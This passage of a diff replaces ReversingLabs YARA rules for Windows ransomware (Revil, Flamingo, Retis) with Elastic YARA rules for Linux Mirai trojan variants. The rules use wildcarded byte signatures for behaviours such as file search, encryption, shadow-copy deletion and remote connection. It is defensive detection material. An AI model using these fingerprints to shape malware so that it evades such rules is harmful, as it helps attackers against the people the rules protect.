-            ?? ?? ?? ?? 85 C0 74 ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ??
-            ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 8B E5 5D C3
-        }
-		$encrypt_files = {
-            55 8B EC 83 C4 ?? 53 56 57 33 DB 89 5D ?? 89 4D ?? 89 55 ?? 89 45 ?? 8B 45 ?? E8 ??
-            ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64
-            FF 30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 89 45 ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 33 C0 55 68 ?? ?? ??
-            ?? 64 FF 30 64 89 20 33 C9 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 0D ?? ??
-            ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C9 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89
-            45 ?? 8B 0D ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ??
-            ?? ?? 8B 45 ?? 8B 10 FF 12 52 50 8B 45 ?? 8B 10 FF 52 ?? B2 ?? A1 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 10 FF 12 50 8B 4D ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ??
-            8B 45 ?? 8B 10 FF 52 ?? 6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 10 FF 12 50
-            8B 4D ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 10 FF 52 ?? 8B 55 ?? 8B 45 ??
-            E8 ?? ?? ?? ?? 8D 45 ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ??
-            ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ??
-            ?? 8B 45 ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ??
-            ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? C3
-        }
-		$delete_shadow_copies = {
-            6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59
-            64 89 10 EB ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B
-            00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ??
-            ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ??
-            ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B
-            00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ??
-            ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ??
-            ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B
-            00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ??
-            ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ??
-            ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B
-            00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ??
-            ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 8B
-            E5 5D C3
-        }
+		$a = { 7C 39 57 52 AC 57 A8 CE A8 8C FC 53 A8 A8 0E 33 C2 AA 38 14 FB 29 }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ($delete_shadow_copies)
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Revil : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_6D96Ae91 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Revil ransomware."
-		author = "ReversingLabs"
-		id = "67c2f49e-b9dc-5900-a89d-49ba41088ac3"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Revil.yara#L1-L101"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "24a79477eb797d7a7121d1248ebbece833ccd256de55729ff96084135ce8d426"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "6d96ae91-9d5c-48f1-928b-1562b120a74d"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L557-L575"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e3a1d92df6fb566e09c389cfb085126d2ea0f51a776ec099afb8913ef5e96f9b"
+		logic_hash = "43b0ac7090620eb6c892f1105778c395bf18f5ac309ce1b2d9015b5abccbfc2a"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Revil"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "fdbeaae0a96f3950d19aed497fae3e7a5517db141f53a1a6315b38b1d53d678b"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$search_files = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 8B 75 ?? 33 C0 57 8B 7D ?? 8B D8 50 56 89 45 ?? 89
-            5D ?? 89 45 ?? 89 45 ?? FF 57 ?? 59 59 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 56 50 E8 ??
-            ?? ?? ?? 53 56 FF 77 ?? FF 57 ?? 83 C4 ?? 01 47 ?? 11 57 ?? E9 ?? ?? ?? ?? 8B 45 ??
-            0B 45 ?? 74 ?? FF 33 56 E8 ?? ?? ?? ?? 8B F3 8B 5B ?? 89 5D ?? FF 36 E8 ?? ?? ?? ??
-            56 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 8B 4D ?? 83 C0 ?? 89 45 ?? 83 D1 ?? 0B C1 89 4D
-            ?? 75 ?? 21 45 ?? 8B 75 ?? 33 C0 40 85 C0 0F 84 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? C7 04
-            24 ?? ?? ?? ?? 56 89 45 ?? E8 ?? ?? ?? ?? 59 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ??
-            ?? ?? 89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ??
-            ?? ?? ?? 59 59 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ??
-            ?? ?? 59 59 85 C0 0F 84 ?? ?? ?? ?? F7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ??
-            8D 85 ?? ?? ?? ?? 50 8B 45 ?? 8D 04 46 50 E8 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 59 59
-            74 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 57 ?? 83 C4 ?? 85
-            C0 74 ?? 8D 45 ?? 56 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 77 ?? FF 57 ?? 83
-            C4 ?? 01 47 ?? 11 57 ?? EB ?? 8B 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 50 89 45 ?? 8D 85
-            ?? ?? ?? ?? 53 50 56 FF 57 ?? 83 C4 ?? 85 C0 74 ?? FF 75 ?? 8D 85 ?? ?? ?? ?? 53 50
-            56 FF 77 ?? FF 57 ?? 83 C4 ?? 01 47 ?? 11 57 ?? 83 3F ?? 75 ?? 8D 85 ?? ?? ?? ?? 50
-            FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 5D
-            ?? 83 3F ?? 0F 84 ?? ?? ?? ?? EB ?? 8B F3 8B 5B ?? FF 36 E8 ?? ?? ?? ?? 56 E8 ?? ??
-            ?? ?? 59 59 85 DB 75 ?? 5F 5E 5B 8B E5 5D C3
-        }
-		$remote_connection = {
-            55 8B EC 81 EC ?? ?? ?? ?? 56 57 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 68 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 33 C0 66 89 85 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? 56 56 56 56 50 FF 15 ?? ?? ?? ?? 8B F8 33 C0 89 7D ?? 85 FF 0F 84 ?? ??
-            ?? ?? 66 89 45 ?? 33 C9 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 56 56 FF 75 ?? 41 89 75 ??
-            89 75 ?? 89 75 ?? 89 75 ?? 89 4D ?? 89 75 ?? 89 75 ?? 89 75 ?? 89 75 ?? 89 75 ?? 89
-            4D ?? 89 75 ?? 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 57 FF 15 ?? ?? ?? ?? 33 C0 E9
-            ?? ?? ?? ?? 8B 4D ?? 33 D2 8B 45 ?? 53 56 66 89 14 41 FF 75 ?? FF 75 ?? 57 FF 15 ??
-            ?? ?? ?? 8B D8 89 5D ?? 85 DB 75 ?? 57 EB ?? 8B 45 ?? 66 39 30 75 ?? 6A ?? 59 66 89
-            08 8D 45 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33
-            C0 83 7D ?? ?? B9 ?? ?? ?? ?? 66 89 45 ?? 0F 44 C1 0D ?? ?? ?? ?? 50 56 56 56 FF 75
-            ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 8B D8 85 DB 75 ?? 57 FF 15 ?? ?? ?? ?? FF 75 ??
-            FF 15 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B FE 50 6A ?? 6A ?? 68 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 45 ?? 56 FF 75 ?? 8D 85
-            ?? ?? ?? ?? FF 75 ?? FF 75 ?? 6A ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? E8 ?? ?? ??
-            ?? 3D ?? ?? ?? ?? 75 ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 6A ?? 53 FF 15 ?? ??
-            ?? ?? 85 C0 6A ?? 58 0F 45 F8 85 FF 75 ?? 8B 45 ?? 56 53 89 30 FF 15 ?? ?? ?? ?? 8B
-            7D ?? 85 C0 74 ?? 56 8D 45 ?? 89 75 ?? 50 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 56 68 ??
-            ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 4D ?? F7 D8 1B C0 23 45 ?? 89 01 3D ?? ?? ?? ?? 75
-            ?? FF 75 ?? 53 E8 ?? ?? ?? ?? 59 59 8B F0 57 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ??
-            ?? ?? 53 FF 15 ?? ?? ?? ?? 8B C6 5B 5F 5E 8B E5 5D C3
-        }
-		$encrypt_files = {
-            55 8B EC 51 83 7D ?? ?? 53 56 57 BB ?? ?? ?? ?? 7F ?? 7C ?? 39 5D ?? 73 ?? 8B 5D ??
-            8B 7D ?? 8D 83 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 59 59 EB ?? E8 ?? ?? ?? ?? 83 F8 ??
-            75 ?? 6A ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 85
-            F6 74 ?? 89 9E ?? ?? ?? ?? 8B 5D ?? C7 45 ?? ?? ?? ?? ?? EB ?? 33 C0 EB ?? E8 ?? ??
-            ?? ?? 8B 55 ?? 8B CA 4A 89 55 ?? 85 C9 74 ?? 83 F8 ?? 75 ?? 53 FF 15 ?? ?? ?? ?? 83
-            F8 ?? 74 ?? A8 ?? 74 ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 6A ??
-            68 ?? ?? ?? ?? FF 75 ?? FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 56 E8 ??
-            ?? ?? ?? 8B C6 59 5F 5E 5B 8B E5 5D C3 56 57 E8 ?? ?? ?? ?? 59 33 C0 EB
-        }
-		$enum_resources = {
-            55 8B EC 83 EC ?? 8D 45 ?? 50 FF 75 ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 74
-            ?? 33 C0 E9 ?? ?? ?? ?? 83 4D ?? ?? B8 ?? ?? ?? ?? 57 50 89 45 ?? E8 ?? ?? ?? ?? 8B
-            F8 59 85 FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 33 C0 EB ?? 53 56 8D 45 ?? 50 57 8D 45
-            ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 75 ?? 33 DB 39 5D ?? 76 ?? 8D 77 ??
-            83 7E ?? ?? 75 ?? FF 75 ?? FF 36 E8 ?? ?? ?? ?? 59 59 F6 46 ?? ?? 74 ?? 8D 46 ?? 50
-            FF 75 ?? E8 ?? ?? ?? ?? 59 59 43 83 C6 ?? 3B 5D ?? 72 ?? 8B 45 ?? 3D ?? ?? ?? ?? 75
-            ?? 57 E8 ?? ?? ?? ?? 59 FF 75 ?? FF 15 ?? ?? ?? ?? F7 D8 5E 1B C0 40 5B 5F 8B E5 5D
-            C3
-        }
+		$a = { 01 00 00 C1 00 00 00 0E 00 00 00 18 03 00 7F E9 38 32 C9 4D }
 
 	condition:
-		uint16(0)==0x5A4D and ($enum_resources) and ($search_files) and ($encrypt_files) and ($remote_connection)
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Flamingo : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_D8779A57 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Flamingo ransomware."
-		author = "ReversingLabs"
-		id = "333ef1f9-ac54-5a3d-9b2b-50483eeb93e1"
-		date = "2021-04-14"
-		modified = "2021-04-14"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Flamingo.yara#L1-L54"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "446c0d332af01c0fceb0356d5ab273eb55764869cc8343468b75625e5d4d1036"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "d8779a57-c6ee-4627-9eb0-ab9305bd2454"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L577-L595"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c490586fbf90d360cf3b2f9e2dc943809441df3dfd64dadad27fc9f5ee96ec74"
+		logic_hash = "2154786bbb6dbcc280aaa9e2b75106b585d04c7c85f6162f441c81dc54663cb3"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Flamingo"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "6c7a18cc03cacef5186d4c1f6ce05203cf8914c09798e345b41ce0dcee1ca9a6"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$find_files = {
-            68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ??
-            83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ??
-            ?? 83 FE ?? 75 ?? 50 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 FF 15
-            ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? 2B 08
-            C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 74 ??
-            80 F9 ?? 75 ?? 80 BD ?? ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53
-            50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85
-            C0 8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F
-            84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9
-        }
-		$encrypt_files = {
-            68 ?? ?? ?? ?? 83 EC ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B CC C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? C6 85 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ??
-            ?? ?? 83 79 ?? ?? C7 41 ?? ?? ?? ?? ?? 72 ?? 8B 01 EB ?? 8B C1 6A ?? C6 00 ?? 8D 85
-            ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 50 68 ?? ??
-            ?? ?? 51 6A ?? 83 EC ?? C6 45 ?? ?? 8B CC C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ??
-            C7 41 ?? ?? ?? ?? ?? 83 79 ?? ?? C7 41 ?? ?? ?? ?? ?? 72 ?? 8B 01 EB ?? 8B C1 6A ??
-            C6 00 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ??
-            ?? 8B BD ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 68 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 8D 47 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 83 EC ?? 8B CC C7 41 ?? ?? ?? ??
-            ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 83 79 ?? ?? C7 41 ?? ?? ?? ?? ?? 72 ??
-            8B 01 EB ?? 8B C1 6A ?? C6 00 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8
-        }
+		$a = { B6 FF 41 89 D0 85 FF 74 29 38 56 08 74 28 48 83 C6 10 31 D2 }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files)
+		all of them
 }
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Retis : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_3E72E107 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Retis ransomware."
-		author = "ReversingLabs"
-		id = "3d1de7c2-abb7-5411-a598-6bc68229a22a"
-		date = "2021-08-12"
-		modified = "2021-08-12"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.Retis.yara#L1-L74"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "3e3429041acc5730b009916efbcd35c7cfd2b2877dc1d2cf980f7fb7d399d532"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "3e72e107-3647-4afd-a556-3c49dae7eb0c"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L597-L615"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "57d04035b68950246dd152054e949008dafb810f3705710d09911876cd44aec7"
+		logic_hash = "ba0ba56ded8977502ad9f8a1ceebd30efbff964d576bbfeedff5761f0538d8f0"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Retis"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "3bca41fd44e5e9d8cdfb806fbfcaab3cc18baa268985b95e2f6d06ecdb58741a"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$search_files = {
-            00 00 04 6F ?? ?? ?? ?? 0B 38 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? 0C 00 08 28 ?? ?? ?? ??
-            0A 72 ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 03 6F ?? ?? ??
-            ?? 0D 38 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 00 00 72 ?? ?? ?? ?? 11 ?? 72 ?? ?? ??
-            ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 06 72 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ??
-            ?? 17 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 00 11 ?? 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ??
-            12 ?? 28 ?? ?? ?? ?? 13 07 00 11 ?? 73 ?? ?? ?? ?? 13 ?? 02 11 ?? 28 ?? ?? ?? ?? 16 FE
-            ?? 13 ?? 11 ?? 2C ?? 00 02 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 1F ?? 28 ?? ?? ?? ??
-            00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ??
-            ?? 00 00 2B ?? 00 1F ?? 28 ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 28 ?? ?? ??
-            ?? 00 72 ?? ?? ?? ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 00 12 ??
-            28 ?? ?? ?? ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 00 DE
-            ?? 26 00 00 DE ?? 00 12 ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE ?? ?? ?? ?? ??
-            6F ?? ?? ?? ?? 00 DC 00 12 ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE ?? ?? ?? ??
-            ?? 6F ?? ?? ?? ?? 00 DC 2A
-        }
-		$search_drives = {
-            00 28 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 00 06 0C 16 0D 2B ?? 08 09 9A 13 ?? 00
-            11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 07 11 ?? 6F ?? ?? ?? ?? 6F ?? ?? ??
-            ?? 6F ?? ?? ?? ?? 00 00 00 09 17 58 0D 09 08 8E 69 32 ?? 07 72 ?? ?? ?? ?? 6F
-            ?? ?? ?? ?? 26 00 07 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ??
-            13 ?? 00 28 ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ??
-            28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 00 00 03 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ??
-            12 ?? 28 ?? ?? ?? ?? 13 ?? 00 00 72 ?? ?? ?? ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ??
-            ?? ?? 28 ?? ?? ?? ?? 00 11 ?? 72 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ??
-            ?? 17 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 00 11 ?? 6F ?? ?? ?? ?? 13 ?? 2B ??
-            12 ?? 28 ?? ?? ?? ?? 13 ?? 00 02 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 1F ??
-            28 ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 00 11 ?? 6F
-            ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE ??
-            ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 00 DE ?? 26 00 00 DE ?? 00 12 ?? 28 ?? ?? ??
-            ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 00 12 ??
-            28 ?? ?? ?? ?? 3A ?? ?? ?? ?? DE ?? 12 ?? FE ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? 00
-            DC 2A
-        }
-		$encrypt_files = {
